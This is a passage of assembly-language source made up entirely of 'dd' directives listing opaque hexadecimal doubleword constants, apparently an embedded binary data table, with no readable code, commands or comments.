0ADFEEB8h, 96BFA480h, 0AAA20C84h, 542FB27Eh, 30B5DE95h dd 0C8A8DC9h, 0CC8F8998h, 392DB5D4h, 0A6197111h, 0B200D6F0h dd 0D7486F99h, 41298501h, 1B8D3F0Dh, 3396827Fh, 11C667F5h dd 0DA8A125Fh, 0EF9249B2h, 61645352h, 22A114A8h, 0A3987B04h dd 80F000F9h, 0E6052AE5h, 0B32C4B6Ch, 45603788h, 2CDAEC3Dh dd 16FAC402h, 8005AC60h, 0D6047B61h, 7E0F8F4h, 1EF9CCDEh dd 0FE86613Eh, 8EB7F8C6h, 89575B13h, 0B55A02A2h, 2B8BCD13h dd 29C02257h, 0F6BBEFE0h, 0F56125F1h, 1DA0968h, 9F9B7AE1h dd 379462C0h, 7C4EEF80h, 1CAC1FADh, 1D8B008Ch, 0D460E516h dd 824FB194h, 797C6988h, 67F50071h, 0FF64AD39h, 57161484h dd 0ED05D3A7h, 56C0AAFCh, 0B8525FFBh, 4165B0BAh, 0C761DD2Dh dd 4F29ADE4h, 82E888ADh, 0C888D94Bh, 1AD4017Eh, 88A9D14h dd 91D440BFh, 90155F2Bh, 155250h, 0AEBA7C40h, 13997DF1h dd 0F8310F5Fh, 905B8066h, 0B98F1Ch, 29682F6h, 6D482528h dd 0A1E8E44Bh, 902AB709h, 9818D37h, 659CEDD9h, 0B4108A45h dd 99B95F80h, 8C0022E8h, 0F0A6B6FAh, 0EBDA1897h, 0F86D896Fh dd 8D1FC5B9h, 6540E12Bh, 535FBBCBh, 40CB9809h, 519D5B01h dd 0FC8A4142h, 0FE06A550h, 930D6200h, 54274908h, 85A86CA7h dd 5326592Dh, 18177954h, 8605120Ah, 2FADB189h, 0E0B0B8F7h dd 0E1BEE6B0h, 0E90B2A10h, 83D4017Dh, 0A9CF01F4h, 504390C8h dd 9BE9F8BFh, 0DACC514Ah, 2D9D1609h, 0B454B804h, 1406866Bh dd 56AA96BAh, 6E01C525h, 798995FDh, 0BFC730D5h, 9A0E4F9h dd 89352EFEh, 756D40E1h, 6CA6BBCh, 71A765A0h, 9DD4A00h dd 8139F0C8h, 6B5409E7h, 0B700EBFh, 549B795h, 0CCB75839h dd 850922E9h, 2B7F929Fh, 57E24249h, 0E6C0344Dh, 97E68E4h dd 34695A62h, 3290B0Eh, 75EDBAD5h, 7292FC1h, 13649567h dd 9E376800h, 664ABDE7h, 0C88755B8h, 0FF42C565h, 7105286Eh dd 81CD23B6h, 520E91Ch, 8744D2FBh, 0BF60125Ch, 29B648BEh dd 8190500Fh, 0FCDE1096h, 5F033C6Bh, 0C45677E3h, 0A5870F16h dd 6E61E9BDh, 4C03B66Eh, 0DC8AE976h, 0ADCE84B4h, 9599407Ch dd 0EAB77AEBh, 37911DF2h, 2D6ECC45h, 14A3A113h, 1F801AEh dd 3A03A5BDh, 2788B2B3h, 8AD2609Dh, 3116DCAFh, 0C443640Bh dd 1126D623h, 35884B2Ah, 3E950005h, 2568312Dh, 5B4AF988h dd 97EE81B8h, 0F800B06Ah, 7806102Eh, 0F24BF46h, 7149C888h dd 82730066h, 58689F1h, 0D7710A00h, 0D8414788h, 4B1D009Eh dd 25BB66C2h, 211EBF81h, 0C5A574E3h, 42B082Ah, 2D2D6015h dd 0C0F1DC70h, 55C73EEFh, 7291D001h, 958B905Dh, 0A88F562Bh dd 4409B79Ch, 25E12007h, 0FB2F0D96h, 191D592Bh, 7107EAFCh dd 0E43F058Ah, 0FC705A73h, 9A2C125Ah, 0BA4C6DE3h, 0FE3558C0h dd 7E013B7Bh, 5D2C2853h, 0A0883DFAh, 5F162A45h, 1BAC02ADh dd 0EE08008Ch, 802C9DAEh, 0DBE66CC1h, 818D324Bh, 586A4Ch dd 263EEC81h, 0F9191E1Ah, 8B965F0Bh, 420CDFFAh, 2B95BD0Ch dd 595EF396h, 118181Bh, 0A36B90E0h, 2E53FC66h, 95306B34h dd 0BE670D1h, 1E39A6A1h, 0F03E5500h, 8D14311Fh, 0B09501B5h dd 27B96660h, 0C878BBC8h, 9D2A2545h, 9B6A2B6Eh, 7C763900h dd 4A6CB790h, 2F7E6CB5h, 0CE0941BDh, 0DB68676Dh, 0AF8C0DE0h dd 0BF1009BDh, 5E70D978h, 22E4C8B0h, 25645682h, 0D2C49077h dd 0AD43055Bh, 1FBD5C56h, 0FB039A88h, 0B3686E55h, 0B65A5867h dd 0AF0CC638h, 81E08072h, 0EE8526CFh, 9718973Dh, 8B156053h dd 2E5758Dh, 4C9076BAh, 83425713h, 0B142A8CFh, 46CADF41h dd 0BF8B6157h, 0F39437C4h, 0A033CA6Ah, 95157FD2h, 0BD03FB18h dd 5E56B159h, 7AADD9A9h, 0BC302F60h, 2F7F4C12h, 939B0C22h dd 4FFD6D00h, 8A89FDBh, 0B7D9D29h, 70505F09h, 2D38B557h dd 60002C7Dh, 0BA8614D5h, 2591A1BBh, 66790C5Bh, 5A1816F9h dd 5EE9B327h, 950355B5h, 0FA2A595Eh, 40F8DECEh, 218E7EDCh dd 20DEEC03h, 971F952Ch, 0E95D5609h, 1D4B456h, 0D8EECA32h dd 3F319D85h, 4B2DF9A0h, 27FE8E29h, 0D862DB32h, 0E7053B22h dd 6272341Ch, 5BC5FDC4h, 8BB3FD81h, 0C370512Bh, 1256FC27h dd 0B55F5378h, 9F542979h, 0DEC8F46Eh, 6D609C0Ah, 0C4F53B42h dd 2518970Ch, 0A92D9D8Bh, 71AF5614h, 89479F3Ch, 96E2FE65h dd 0AC89ADF8h, 0AB1A8C1Bh, 0DD62688Bh, 0BA0C888h, 8E561821h dd 1C1CF762h, 0F1781D93h, 3F1E0108h, 0E2E95828h, 0FC4D2EF2h dd 0C1D8D9BDh, 9DD94B8Ah, 576A3FDCh, 0F9A6E102h, 0DD429860h dd 0BA40E97Eh, 3BFAE468h, 7D26DEh, 85232E9Dh, 0B1A486F6h dd 0DF44B23Ah, 0AE485AFDh, 6A578009h, 9FDC377Dh, 18FF2534h dd 40A19507h, 0DE08BB21h, 3B12ECB8h, 0AD421686h, 0D625FE5Fh dd 7FE3CABCh, 8675F0DAh, 2019C695h, 0BE041155h, 1C20219Eh dd 2F65B1EFh, 345B066Eh, 735BFE7h, 900D32EAh, 9D98A798h dd 3CC66600h, 0A9E3FD79h, 0F8E0784h, 101BB9CAh, 5066194Dh dd 0B0489056h, 0E08065A1h, 81300182h, 2BFBDEEBh, 604E933Ch dd 82734FFh, 84A702B2h, 6FBE6A5Ah, 9EE104F6h, 0B6AAF664h dd 87B94A78h, 59149C4Bh, 80092842h, 117954EFh, 0DE097B47h dd 0E100F476h, 66E0B65Ch, 2B49A5BFh, 5825026Ah, 4A27D773h dd 1E004643h, 96158DBBh dd 0CCB06479h, 26003317h, 68A5A625h, 2FB04C59h, 0FE69F32h dd 6009A97Bh, 80D39635h, 0B0F04916h, 0B7C807D6h, 0A9E93814h dd 20121C57h, 0DFECBCE0h, 0F2BD3409h, 0C0634D65h, 0BC37B711h dd 0E6362B09h, 80E8715Fh, 0A3D1C781h, 73955A50h, 198388A6h dd 21885397h, 0F21F003Ch, 377088DAh, 7C04F1FFh, 6B157375h dd 5FDEC2AFh, 0A0486ED5h, 970E65D6h, 6894BC1Ch, 1EFC9DD4h dd 29448E52h, 0B1C17311h, 3D31197Ch, 0F5E70348h, 0BFF6A28h dd 11A7DF0Eh, 0BE97302h, 4F4D8F6h, 5B1AA508h, 88C8B98Bh dd 0B0F88A20h, 0E6FB0084h, 6DDF8070h, 71E4ECEFh, 2E1ABF04h dd 0B4B9027Ah, 12370535h, 89B2B59Ah, 0DD1B29E0h, 8D1001ECh dd 0A14F141Dh, 187BA6DFh, 0A1B50904h, 583B2EEh, 2D89BD23h dd 0AC7E24AAh, 0DE7F8070h, 0F6739D1h, 0DB30AD4Dh, 0B531FA13h dd 306BC82Bh, 0F19D0903h, 45F63FFBh, 46ADB300h, 23F5555Ah dd 2F1780E8h, 0BFA6F0h, 37EAD908h, 0D12C8BF9h, 1290EF53h dd 8AE95B0Dh, 80CD2E45h, 320AE33Fh, 89853A8Bh, 5848550Eh dd 2A4572F3h, 20207A3Ch, 29135884h, 0E4843195h, 0E2AE74FFh dd 0B21701ACh, 0D092D63Ah, 9E2C41EDh, 46025584h, 203FF8Dh dd 0C316CB81h, 16557B95h, 0DAB73E94h, 5818A528h, 604173FEh dd 15E2207Fh, 0BE2D308Ah, 640C5ED1h, 84E0B95Bh, 0BF233C2Fh dd 0F294FF0h, 795E2690h, 0E1C47DA9h, 61B81204h, 10C7B9C2h dd 7C69B66Fh, 0B90314C8h, 0E09F73Ah, 8555F952h, 0CBBDFCE9h dd 1A008DB8h, 0FB025B33h, 7164F0DDh, 950909FCh, 3C250881h dd 2F37C0C0h, 6126EC5Fh, 8DC22BBAh, 0FA675C10h, 90530E53h dd 24825986h, 9ABE4CFh, 2098075Dh, 3BB60D5Ch, 8A3705DCh dd 0EA4C015Ah, 43A3A28Ah, 84E1ADF0h, 77AA860Ah, 891CFC1Eh dd 82F13A27h, 0F428B1FBh, 5F50C0ECh, 1C1CC41Eh, 0D4808863h dd 0A3993E69h, 1D42124Ch, 0D263A9C7h, 2AA866FDh, 2D01C195h dd 4F672F2Eh, 801FFDF2h, 7AD165BFh, 0D1D2E000h, 4C8E19A5h dd 95106E8Ah, 0CB5F2802h, 0AE44309h, 45807114h, 0B05BF75Ah dd 24E02042h, 0C23CB848h, 5C5C0321h, 509CDB5Ah, 6F2DCD7Eh dd 404C78BCh, 0E15BFF10h, 282B1FF1h, 45A782Ah, 32803CDEh dd 0DD7FCA4Dh, 562599B8h, 1A4CC570h, 0CDF76262h, 0EC70E2B6h dd 5C239D02h, 0D2FC7169h, 4056EF55h, 7B83D1E8h, 1041CE58h dd 0AB4B0C05h, 0F400696Eh, 0DF1E2845h, 0BE2F4E6Ah, 9BDDC67h dd 7A703CCEh, 35BD310Bh, 0BB18D515h, 1A461D9Dh, 0FACE2D22h dd 2BFFD3F9h, 0F965870Dh, 0BB196820h, 0DAF712C1h, 3A38E577h dd 35BC47B9h, 11853109h, 456FD621h, 0A8FBD5DAh, 0ADAC9625h dd 0E5306880h, 95C9A2h, 7C1ECF14h, 7823B336h, 7728865Bh dd 294DA3AAh, 399B40F2h, 0BACB2C4Ah, 2FB01156h, 0EB027AA8h dd 51B53153h, 0E5DB5E12h, 8724AB29h, 0FD4FCDA8h, 585EC2Bh dd 8EC48009h, 1CA9C14Fh, 0E09E7B02h, 0BA2EE280h, 0BB055088h dd 0BE58D29h, 36919DAAh, 0CC8C4AEBh, 6BD32D80h, 61074564h dd 4371DE9Fh, 0B1BB1511h, 55FE2EE1h, 0C4ADA551h, 818500D2h dd 3414B397h, 674A04EAh, 0ADD601ADh, 0A0F3A80Dh, 80074DF5h dd 379789F8h, 88DCA5A6h, 2909ACABh, 0A52356B5h, 3A5ED742h dd 0BAAC00DCh, 0BF2DBBFEh, 8C947940h, 0EAE0B240h, 78430238h dd 2BF3B51Dh, 0AD859E60h, 1509964Eh, 1F96450h, 1FF8F334h dd 2B6CDA9Eh, 0FA93F3A2h, 23095805h, 4FC48BAAh, 2A0E576Ah dd 3520B175h, 80A0362Dh, 6816E707h, 21343137h, 0B2CC67C1h dd 0C811802Bh, 2EF77732h, 0E09EF69Bh, 14A15E8h, 7AEAE9D5h dd 4042045Ah, 4BAE8E9Ch, 30DF8275h, 0B55790E8h, 0E2E21299h dd 33AF055h, 83E06193h, 82E90FF8h, 1CE43EFCh, 5650285Fh dd 4B3D3BD1h, 0C0E3DBDBh, 42C56CA8h, 0F0C1041Ch, 0A17E9BB8h dd 0AA3D54ADh, 1AA223A6h, 97E780B0h, 0CA3C8905h, 0AD007BC8h dd 61529CEFh, 8FDC4B8Ah, 0C16A5A3Fh, 0E5033A00h, 61F1EA4Bh dd 2D4E7CF3h, 25DF7401h, 2A114067h, 0AF10854Bh, 52BD6B95h dd 0F3755BCh, 5609138Bh, 0CE4753Dh, 7D564C40h, 650E3B58h dd 64EFFC42h, 24F85A2Eh, 24052080h, 0FD7044FFh, 99345900h dd 7867FE89h, 0CD7331h, 75CB8177h, 5B21C8B8h, 1F8C564Bh dd 425300D8h, 0FEE3DC2Ah, 0BC003119h, 0CEB7629Dh, 124DB230h dd 0E25B61F9h, 4BA8446h, 5C7AAEh, 0F3AE8CB6h, 0A8EA2FDAh dd 9FCE48h, 0B82BFE65h, 1840DE0Ch, 530F0D1Eh, 0C145FF44h dd 7530198Bh, 0B995298Bh, 92BA0B58h, 0D80C3B2h, 0B3C3BA8Bh dd 4AE5E009h, 746C57C9h, 646D4D9Fh, 3C5A6019h, 0F50B160Dh dd 131EA879h, 2C52104Eh, 0A6D6E5A9h, 7B76A036h, 97C5EC73h dd 0BDD7800Bh, 0B7CABFB0h, 0AC4159F7h, 0CD800148h, 0C065C51h dd 4DED7C50h, 1CCABC28h, 43BDEAFFh, 2B82D4E6h, 2E1A79B1h dd 0BF50A970h, 767A1678h, 0D7FFA85Fh, 0E3F03AA6h, 6E0B1BA6h dd 0F4CFC069h, 574227F2h, 1C11B237h, 0A7176C80h, 891AEA13h dd 5D40E129h, 599D8070h, 19015690h, 0C12FF7EAh, 0BBCC6901h dd 8A5BBDCDh, 0F2DB5Ah, 7A775676h, 619070B0h, 0EC4CF609h dd 2EEC613h, 0D58FBBF8h, 0C25C36C6h, 2FD78004h, 0F22FB78Dh dd 7BB0079Ah, 8C60B3E5h, 12D3603Ah, 0E171ACFBh, 0C0855BD5h dd 55A9126Eh, 0E13A97C2h, 45357Dh, 2D6A7C10h, 0D83BADA5h dd 0FDC94BFAh, 21F8AF0h, 82350470h, 0CE755F13h, 0CB37954Eh dd 0C7A55F00h, 1622F02h, 2EBF8AA1h, 3F0FBD28h, 259DCDD8h dd 0B5CE25E1h, 263D0495h, 14525005h, 0DB4FBD97h, 128C80AAh dd 0BD45CB6Fh, 0FE2B2510h, 0C1B09101h, 0CD2D423Ch, 0D0ECC07Eh dd 7F9CB523h, 8B130EA6h, 0D9252DBCh, 1564DA6Dh, 7052F161h dd 24AC576h, 0AC7664ABh, 4F59A256h, 6100CE73h, 0AF766A57h dd 0DDCF8104h, 87BFE525h, 58521027h, 47FB866h, 0C88B611Ch dd 0CDB7B2E8h, 0C035E756h, 4A6B46E3h, 4F955956h, 0AC93C2F9h dd 0BFF74F12h, 0E01EA64Eh, 14D76F2Eh, 0ABFD8A66h, 291D9113h dd 124678A7h, 80E5220Bh, 843B9E7Bh, 97B86F54h, 255A95A3h dd 9680A3DBh, 6D1FDDD8h, 0FF63A102h, 2009E94Dh, 69A05F52h dd 7E05720Eh, 0C2E752F5h, 0A980AD4Eh, 98F646C8h, 3C150027h dd 0BB992D56h, 0B225825Ah, 6DC3C223h, 4020E706h, 0C40C1E97h dd 53AADA12h, 95826EEDh, 0C7752359h, 0C4A446h, 5ECB841Bh dd 997D9E9h, 93FDB7D5h, 9D200E0Ch, 4D8FEB13h, 78E89993h dd 0D9E44FD4h, 9DB53489h, 0AC17B9B7h, 45008C1Bh, 0FF13EADDh dd 15D520BDh, 908DB509h, 980F501Dh, 60BF3105h, 68A31816h dd 0AB62584h, 0D84C61E0h, 69C120E9h, 0B7B8109Dh, 0A108D782h dd 0CCD98F77h, 3BB9F30Bh, 0D100B1B8h, 0F936D48Ah, 4A608250h dd 5B80D2CBh, 372F155Eh, 0B6F1001Eh, 0D80D83A3h, 0F50C6DCh dd 607FA04Ah, 64D4B32Dh, 91C8027Bh, 61E175DAh, 0BF564057h dd 3FEC41C4h, 0F1B102F7h, 333D412h, 9D092C0Bh, 4709AC1h dd 0E4AEF8A2h, 174EA0CEh, 0A29C55B9h, 645BFD03h, 108433DDh dd 12A8146h, 208BB5Fh, 362E25A0h, 0CB1650FAh, 1AA100Ch dd 0CFC236A6h, 0FB282E55h, 32028B5Bh, 6ADB50D3h, 0C15E4002h dd 69BB800Ch, 7123EB09h, 81350290h, 0B8602009h, 57035EA7h dd 615F5669h, 7F780490h, 816DB422h, 3E18B9E2h, 686D8C2Dh dd 8128FA8h, 97FD9531h, 0E9EFB304h, 0BC38AE9Fh, 0E7CC4FBBh dd 0FAFDA066h, 2DF909DDh dd 0B60830F2h, 0BB66003Bh, 0FA8B7393h, 80E01897h, 909E27E3h dd 0B201BBC4h, 37A02DE7h, 0C507EAFh, 0BCB146h, 0BD5911Dh dd 886B5BBFh, 22EB6374h, 5190137Dh, 0D6B1260Ah, 1E824FBFh dd 0C6145718h, 0E599F94Bh, 2B55C22Ah, 71AF737Dh, 2184C31Bh dd 22F0DEE8h, 1858B771h, 56115EC9h, 0AFFF921Dh, 0AC4EA96Eh dd 15BC4C9Dh, 25E7124Dh, 45D9CCB0h, 17B90051h, 0E697B0EBh dd 317200B0h, 8A452EC7h, 13EEE6C0h, 2B1CCC00h, 4C36A1D6h dd 7EB09087h, 16707BDFh, 0A922D19Dh, 3AC85F9Eh, 413F004Dh dd 0F1EB9060h, 0E70461B0h, 2F7D1792h, 8E800CB8h, 79A4CE83h dd 0A5324194h, 0A064755Bh, 10BFFA53h, 814B2331h, 0DABAF918h dd 6801B857h, 0BC15168Ah, 0FB381101h, 810E804Bh, 0DA1144DBh dd 0AA5138D5h, 9706CF20h, 0EB07FF0Fh, 3902250h, 679308D5h dd 8D954A00h, 370996FBh, 43363FF3h, 0FAB4B884h, 484073E2h dd 0DC78014Ch, 1EC8FA9h, 18E46A8Dh, 0F31DB85Fh, 8A0F2789h dd 38505F11h, 17E909E3h, 0A3FD725Fh, 0E0C7087h, 1C580EBBh dd 0C07CA976h, 0AE46C2BFh, 60599D55h, 21D5BD84h, 0ECD6E8B9h dd 2C09E2Ch, 0ED53F94Bh, 712D187Eh, 4593670h, 222E5B81h dd 902B38F8h, 1741BDBh, 0E16E639Ah, 821DCB07h, 51FC7BEh dd 0ED095E5Bh, 0B78DA8F2h, 43297F81h, 191213F9h, 0EAB8A185h dd 94CF6B1h, 0CBA8F62Dh, 0A6061DF0h, 0D0DD9BADh, 43CF13A6h dd 0A1ECE75Bh, 0C83E1186h, 6113F3CEh, 98AAC540h, 0B80107CDh dd 0DA8B6DA8h, 0A36F525Fh, 0A7573C61h, 2C30F55Bh, 0B9802A81h dd 490F5B8Ah, 3F78FA4Eh, 5C558997h, 9BDF3B87h, 450D81B1h dd 7CC2B8D7h, 6E3AF649h, 2982021Bh, 7512A585h, 514EEF6Ch dd 4FCA5C8h, 0AE0CA881h, 4D238073h, 5C000548h, 802BE6FAh dd 1275BB96h, 12223A43h, 0C472E3FAh, 5CF6EAB3h, 6E4890E0h dd 96873801h, 0CBA7FF3Dh, 0FC4C222Fh, 64814D55h, 0F2C601Ch dd 8CA20218h, 0C0D1C77Ah, 8DBDB0F5h, 0A8074A5Dh, 0DBC2A48Fh dd 5E1B5E23h, 950C4BBCh, 2FF30A0Ah, 8EDBE8Eh, 3BE9CFh dd 0A3A83E0Ch, 0BD62C2CDh, 1CD514F5h, 899944A8h, 62AD9D2Dh dd 37219AE7h, 3142809Ah, 10E50637h, 2FE1F779h, 0E7F28B20h dd 3EA00EDh, 603BB5D5h, 0C309B4CAh, 56893FC5h, 0F75F12D0h dd 0C76A4F4Bh, 9EF7D300h, 822F22A2h, 0FE1269B0h, 0C1F9E1FFh dd 270013B8h, 0BFB2FD6Eh, 4B82549Eh, 346DCA18h, 0B0B857E7h dd 4338FF45h, 0A9561127h, 32A7E971h, 0D337FDh, 550960D0h dd 964B5822h, 843554CAh, 0C0369B51h, 6013FE9Dh, 0A47A48B4h dd 968EBC5Bh, 74BACA30h, 7B0209DBh, 12D6452Fh, 72F78160h dd 234D1208h, 0D412FA5Fh, 844B40B9h, 0E0ACB64Ch, 5ECF9Ch dd 1A9559D3h, 8A756D6Bh, 6DC1DA4Bh, 3AE8E381h, 21124216h dd 459D0413h, 0D6422923h, 375B5D5Dh, 77B7Ah, 3633870Bh dd 0FAB0539Eh, 4212BF12h, 3E6F85C5h, 0A94B5200h, 0E0BB7E5Ch dd 78F2D01Ah, 0A006F04Ah, 8022ED30h, 0E209B968h, 5E538144h dd 30574BB7h, 12150D7Dh, 0F05B5325h, 21124686h, 0DAEF7EDAh dd 7D68C024h, 5BA7E88Ah, 140BBA5Ah, 0A3B555F8h, 186CCAFh dd 0C007E045h, 2F8A8BBDh, 95297131h, 0E9F3E46Bh, 75016B2Ch dd 0DCBE01F6h, 8D294B37h, 2EE335C9h, 27A942A9h, 0EDD2003Dh dd 0BE252EE7h, 1260588Ch, 4E29A110h, 0B9EB20BFh, 6B12F10Eh dd 82F1611Eh, 35E0DB37h, 0CD12059Bh, 8EF367B7h, 7004274Ch dd 0BC4F1DF7h, 19BBC186h, 6821930Dh, 48A471DFh, 0B5B08E0Eh dd 599D2805h, 0D912Ah, 7CFB0390h, 2853B127h, 0F09D2A65h dd 38ECBD63h, 864845A6h, 93A30038h, 619E5414h, 0CD5C4B85h dd 4A337021h, 0A068A31Eh, 5C69CACBh, 4ADE9026h, 14FF26EAh dd 0E0585A25h, 2DD45F0Dh, 143769D5h, 3F2EE100h, 2DB27E38h dd 0A5BD0DBh, 9EB5393h, 12F7FA8Bh, 0DC905EBFh, 828B351Eh dd 33C4AD9Fh, 0C8B845BDh, 5BFC53A0h, 13CB6158h, 7DF620E5h dd 0A0AD3D00h, 1C437CB7h, 0CC62B003h, 0B8BA5A5Dh, 95052199h dd 98D0FD65h, 71B300E2h, 0F97A261Eh, 7995A90Ch, 8D3182CCh dd 690F32F5h, 0F04775FAh, 6FA1BF80h, 70E96425h, 0A67AE152h dd 9E2AF09Bh, 641E27FFh, 0E32E6C10h, 194C5000h, 0A5FDF307h dd 0F15E00BDh, 172A9F8Dh, 1D976945h, 486072DCh, 3EBC0F0Dh dd 0FEC700F4h, 0AA7D4815h, 0FA24B15Ch, 0A9092519h, 6169F90Ch dd 46385h, 4BE9B501h, 35AACE29h, 9BF2750h, 665D2660h, 6F7A005Eh dd 4876AD63h, 5C624D04h, 0FF2A2574h, 8297D094h, 55F17B70h dd 10978E4Ch, 96745Ah, 2DDEE3FCh, 0AFBDBC51h, 5BC48425h dd 181559D8h, 0E1A24B5Bh, 0A9F62F8Ah, 55301AB2h, 0C84B00F3h dd 90EA292h, 194BA585h, 492442EAh, 927F508Eh, 83DA7FADh dd 9EEEC3Bh, 0D47B2BAFh, 2BE22FD2h, 8C514C75h, 90C4979Ah dd 5E02B0E8h, 9566EA4Eh, 0D65E5C11h, 7F171546h, 0C08BA8C4h dd 4F92E781h, 0B0245A9Ah, 3A971045h, 0A0F165h, 827802C6h dd 812F74F8h, 0A162E0F0h, 92D69D12h, 26C00DEh, 25F68296h dd 692C7FB6h, 6F026667h, 5C1A5E8Fh, 94DF694Fh, 5148BDF7h dd 6DBF04C2h, 6467C5EEh, 2617EF88h, 37AC7BC4h, 0B8E1ED4Ah dd 1018000Dh, 0ACCF5A40h, 804B9EE5h, 3FB74E12h, 8019DA4Bh dd 0AAD83D59h, 0BFA40269h, 15EF5A48h, 0D327335Ch, 179AD812h dd 0A885B516h, 12741A3h, 6A44B77Ch, 0C0FDDBEEh, 0A9AA98E5h dd 25F2B8DDh, 91DA2E39h, 83D90C45h, 0D366E23Eh, 712BBAB1h dd 0A2F9972h, 3827A25Ah, 0FCE68055h, 0F79C57D3h, 24E80241h dd 5D12FAB0h, 0E346D5h, 0FC23D702h, 0D3D87CFEh, 3E361300h dd 6199DC48h, 2F9FFE6Eh, 8A823734h, 0C957B5B7h, 6E2E9611h dd 0BF101059h, 0F92B8241h, 9337B9B2h, 2BDD4C02h, 0D684DB91h dd 0FBA2BA1Dh, 0A099E6D2h, 2DEAE259h, 1A4436A2h, 8F768A00h dd 61BBE5F3h, 0C81B1E78h, 0F2017DC2h, 0B52992EAh, 149F6BF9h dd 0F4BB9600h, 5048DD44h, 3B1F8DECh, 822F0904h, 0B203ADF4h dd 530608Ch, 73169707h, 5860A0ADh, 0BBE7B93h, 8C0FEB8Ah dd 50FAB2F7h, 654597B1h, 0A6F250h, 0CE97F6F4h, 3EC430D0h dd 4A975D90h, 0C08C60ADh, 0A31A97C2h, 7B00BBD9h, 6292881Ch dd 0D49D0066h, 0E15EED33h, 0E951C217h, 3BF96A13h, 0CFAB211Dh dd 8841377Ch, 2E5F381Bh, 0E147AD28h, 0C27B3Eh, 0C95D75AEh dd 4B8954F2h, 8012ABB5h, 8BDB6D02h, 60A85CFAh, 93F9BB66h dd 2B358DB7h, 0BFA4D07Fh, 80124387h, 5FE210F7h, 0FF820FC4h dd 804A90CAh, 0BE6DA56h, 0A5FE943Eh, 0BB2544Bh, 58DEC18Bh dd 0E09B00DEh, 6039D93Dh, 3A16F0BFh, 810B681Bh, 61872509h dd 0A554B6AAh, 641637B6h, 9C12ABE9h, 83E0D7A6h, 0CB07E417h dd 8529AE18h, 4BBBED1Ah, 4D41D0B8h, 0D073A040h, 102268DBh dd 11E508D4h, 0DC21C630h, 34CD970Bh, 7BB38CE0h, 6C5E099Eh dd 0C780323h, 51E2045Ah, 39BFFC0Eh, 717C44h, 0DD91BB52h dd 0AF5097C2h, 0BF608D96h, 0E3468319h, 0E495A57Bh, 904B570Fh dd 913E626Eh, 9BB0EB00h, 0C411CCF6h, 9D034913h, 0AE3852BAh dd 0C101D17Ah, 0C868EDDh, 0C7B3504Ch, 992FAFA1h, 21EFC17Bh dd 0C8669B6Bh, 0C05ECF1Ah, 9235220h, 0FB0CBFC6h, 0C87EDCE1h dd 0E7284A0Dh, 0A1A45E5Fh, 2E0F69D1h, 6A446159h, 4FAB7BFBh dd 2B0A90ECh, 0A5F485BDh, 2E8D8061h, 5AAAACD5h, 0F1028898h dd 0B5EDC8Ah dd 0F0C0BB40h, 6B2EE101h, 1C2371h, 3CA96B66h, 0EC04BCEAh dd 0E3E914ABh, 10618EAAh, 0F82DDC2Bh, 7C0E2EDh, 0FE0675A1h dd 692E0BE7h, 305C297Dh, 0D46E7EEBh, 10483725h, 8542A8h dd 0D8033FFFh, 50393D80h, 956CC495h, 803B48B7h, 10B64C17h dd 0BF5B31BEh, 0E2423E09h, 0D32F8C56h, 25B2F1A3h, 4B1E2CA9h dd 1CB964FDh, 0A75CBF8Ah, 0C6A8C031h, 0F5239Eh, 0B9456781h dd 0D4C496ECh, 0E53BD812h, 3843D9E7h, 2F868BF1h, 282E0208h dd 2C553266h, 0A442FF53h, 0EAC539E1h, 0FD06EDBh, 0F7230440h dd 0B99643EEh, 802288DEh, 0E7A39DBBh, 0B694B021h, 1728D108h dd 2F98B8E6h, 888254FAh, 1BCE0AE9h, 0F5DAF245h, 19218144h dd 9357A5C1h, 54DBB7FBh, 0DD8A6133h, 195A9957h, 0A43A5F99h dd 0F9218D3Dh, 0AAF8971Eh, 71856602h, 0AAD1242Dh, 459522C0h dd 0F58D880Eh, 0E9121842h, 23DDCCAEh, 25FD9D1Ah, 4A28432Dh dd 407AEC1Fh, 0D12FBF99h, 80595461h, 9D3378F3h, 0C4B52A95h dd 4DD4C475h, 0A91C561Ah, 90967125h, 0A56F881Bh, 0E401F344h dd 609D1AEFh, 0B8C47F1Ch, 0FC901F0h, 17BF15DFh, 0B3312E5Bh dd 0B21012E9h, 0F900B9D8h, 0CF2B8381h, 76EFFAF7h, 0C7A04D0h dd 0B8D784E0h, 883388B4h, 0F98014E9h, 361803FFh, 0B29F0165h dd 0B9EF9932h, 6E4BD016h, 5625B3EEh, 83B9CC0Ah, 0FA04C2CEh dd 0B598845Fh, 80420F51h, 0BB77605Ch, 0E501164Dh, 98FE5F38h dd 830F41E9h, 0B65A0243h, 3218B271h, 4F4078D7h, 0AFE72061h dd 3E03D6BEh, 81564868h, 76348042h, 107E2FB9h, 0C0D2BEDBh dd 0A185A0h, 0C61ABE8Bh, 0BD0B8678h, 3BD7FD4Eh, 0B1B8FED4h dd 2280905Ch, 0B3F3DDA4h, 6C44900Eh, 9C8C40A1h, 95FCCC1Ah dd 0C8706973h, 568B0019h, 162BDC72h, 0BD12316Bh, 0A9B60FE1h dd 970DDE40h, 155B834Bh, 0BED29B9Bh, 27342080h, 256AB479h dd 10D159FEh, 66DA210h, 0F032F304h, 0B2EFA1C3h, 0E55A71ADh dd 1C12AB6Eh, 5261AAEEh, 980625DDh, 0CF35F84Fh, 0CE73A902h dd 699A5C4Ch, 542D96F6h, 649C5E71h, 1A0B04D4h, 8C510C01h dd 0E20099C0h, 0FAE14BAAh, 0E8C78DA9h, 4498015Fh, 9CBADA34h dd 2EF0EDC8h, 8A609C28h, 2D053540h, 0F816F3A5h, 19AC09B9h dd 0FD19D8Ch, 0EDE1FF8Bh, 640EC038h, 1828D026h, 0DA5EC67Dh dd 0D50971C2h, 2A45FA9Ch, 14DE6E6Ah, 108A49E4h, 891C0539h dd 0E30F52BDh, 4129F80h, 0BDE86DBDh, 0F8C15404h, 7FB830B7h dd 4C75ABA2h, 3C35BF0Ah, 3DB68038h, 0BC8E33DFh, 80D1B9D0h dd 0B373EB5Ah, 9B129510h, 6AE10BA5h, 0B7C0F41Bh, 0E95B302Dh dd 0B529651Dh, 0D7B820D2h, 4912A694h, 0D6D7B805h, 0DBAEC5BBh dd 99BA9606h, 6833B2h, 0B0716DEFh, 1431E1h, 0DC49AE02h dd 1AD84DC8h, 5859013h, 0A33D610Dh, 0F08EF77Fh, 7AF27Fh dd 1197FFEDh, 4DB5897Dh, 9D5F1863h, 0CDB9B455h, 255F18DAh dd 0D9EB501Ah, 0EF903ADBh, 0B79EFBE3h, 4A41F86Fh, 0C67AC1AEh dd 68006B0Eh, 6C22283Eh, 275FCDBFh, 83550A73h, 0E43D2B04h dd 9B8E3BDh, 22369F00h, 0BF323DFBh, 0C8C11251h, 0F99ABF2Ah dd 51CA6297h, 0C2018441h, 5F81B723h, 0F920ADD2h, 